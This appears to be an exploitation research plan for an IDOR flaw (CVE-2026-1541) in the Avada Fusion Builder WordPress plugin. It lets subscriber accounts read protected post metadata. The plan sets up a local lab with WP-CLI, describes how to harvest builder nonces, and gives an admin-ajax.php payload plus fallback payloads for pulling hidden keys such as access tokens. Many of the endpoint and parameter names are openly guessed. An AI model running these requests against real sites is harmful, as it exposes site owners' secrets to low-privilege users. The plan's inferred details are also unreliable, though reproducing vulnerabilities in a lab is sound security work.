Avada (Fusion) Builder <= 3.15.1 - Authenticated (Subscriber+) Sensitive Information Exposure via Insecure Direct Object Reference

This research plan focuses on exploiting CVE-2026-1541, an Insecure Direct Object Reference (IDOR) in Avada's Fusion Builder plugin that allows Subscriber-level users to retrieve protected metadata.

1. Vulnerability Summary

The fusion-builder plugin contains a function fusion_get_post_custom_field() (likely located in inc/class-fusion-dynamic-data.php or similar dynamic data handling classes) used to retrieve metadata for the "Dynamic Data" feature. The function fails to sanitize or validate the requested metadata key. In WordPress, keys prefixed with an underscore (_) are considered protected/hidden. By failing to block these keys, the plugin allows users with minimal permissions (Subscriber) to query sensitive internal metadata of any post or page.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: Likely fusion_app_get_dynamic_data or fusion_get_dynamic_data (inferred from Avada's AJAX naming convention for the dynamic data builder interface).
• Parameter: post_custom_field or key within the AJAX data payload.
• Authentication: Required (Subscriber+).
• Precondition: The attacker must know (or guess) the ID of a target post and the name of a protected metadata key.

3. Code Flow (Inferred)

1. Entry Point: An authenticated user sends a POST request to admin-ajax.php with an action related to fetching dynamic data (e.g., action=fusion_app_get_dynamic_data).
2. Handler: The AJAX handler (e.g., Fusion_App::get_dynamic_data()) receives parameters specifying the data source (post_custom_field) and the target key.
3. Vulnerable Call: The handler calls fusion_get_post_custom_field( $post_id, $key ).
4. Data Retrieval: fusion_get_post_custom_field() calls get_post_meta( $post_id, $key, true ).
5. Lack of Check: The function returns the value directly without checking is_protected_meta( $key ) or verifying if the key starts with an underscore.
6. Response: The protected value is returned in the JSON response to the Subscriber.

4. Nonce Acquisition Strategy

Avada Builder heavily utilizes nonces for its AJAX operations. For Subscriber-level access, we need to find where the builder nonces are exposed.

1. Identify Shortcode: Avada often enqueues builder scripts when the [fusion_text] or other builder-related shortcodes are present.
2. Creation: Create a simple page as admin containing a builder shortcode:
   wp post create --post_type=page --post_status=publish --post_title="Nonce Page" --post_content='[fusion_text]Check[/fusion_text]'
3. Extraction:
   • Log in as the Subscriber user in the browser.
   • Navigate to the "Nonce Page".
   • Use browser_eval to search for the localized data object. Common Avada objects include fusionAppConfig, fusionBuilderConfig, or fusionAllData.
   • Target Key: window.fusionAppConfig?.fusion_load_nonce or window.fusionBuilderConfig?.nonce.
   • Verification: Check the source for wp_localize_script calls involving fusion-builder.

5. Exploitation Strategy

Goal: Retrieve the value of a hidden meta key (e.g., _wp_page_template or a custom secret key _access_token) from an administrative post (ID 1).

Step-by-step:

1. Setup Target: Use WP-CLI to add a "secret" hidden meta key to an existing post.
2. Obtain Nonce: Follow the strategy in Section 4.
3. Identify Action: Confirm the exact AJAX action by grepping for wp_ajax_fusion_.*get_dynamic_data in the plugin folder.
4. Execute Request:
   • Method: POST
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded, Cookie: [Subscriber Cookies]
   • Payload (Probable):

     action=fusion_app_get_dynamic_data&
     fusion_load_nonce=[NONCE]&
     data={"type":"post_custom_field","post_id":"1","field":"_access_token"}
     

   • Note: The data parameter might be a nested JSON string or individual POST keys depending on the specific Avada version's implementation.

6. Test Data Setup

1. Create Subscriber:
   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
2. Create Sensitive Meta:
   wp post meta add 1 _secret_system_key "SUPER_SECRET_VALUE_12345"
3. Verify Meta Existence:
   wp post meta get 1 _secret_system_key (Should return the value for admin).

7. Expected Results

• Vulnerable Version: The HTTP response (JSON) will contain the value "SUPER_SECRET_VALUE_12345" under a key like value or result.
• Patched Version: The response will likely be empty, an error message indicating an invalid field, or a 403/400 status code if the key is now validated.

8. Verification Steps

1. Observe the JSON response from the http_request.
2. Confirm the revealed value matches the value set via WP-CLI in the setup phase.
3. wp eval 'echo get_post_meta(1, "_secret_system_key", true);' (To confirm what the actual value is for comparison).

9. Alternative Approaches

If fusion_app_get_dynamic_data is not the correct action:

1. Grep for Sink: Search the plugin for calls to fusion_get_post_custom_field to find other callers.
   grep -r "fusion_get_post_custom_field" /var/www/html/wp-content/plugins/fusion-builder/
2. Builder Elements: Attempt to "preview" a builder element as a subscriber if the builder interface is partially accessible. Subscriber users can sometimes trigger element rendering via action=fusion_render_element or action=fusion_get_shortcode_render. If an element is configured to use dynamic data for a field (e.g., a text block showing a custom field), the rendering process will call the vulnerable function.
3. Direct Payload Guessing: If the data parameter structure is different, try:
   action=fusion_get_dynamic_data&param=post_custom_field&key=_secret_system_key&post_id=1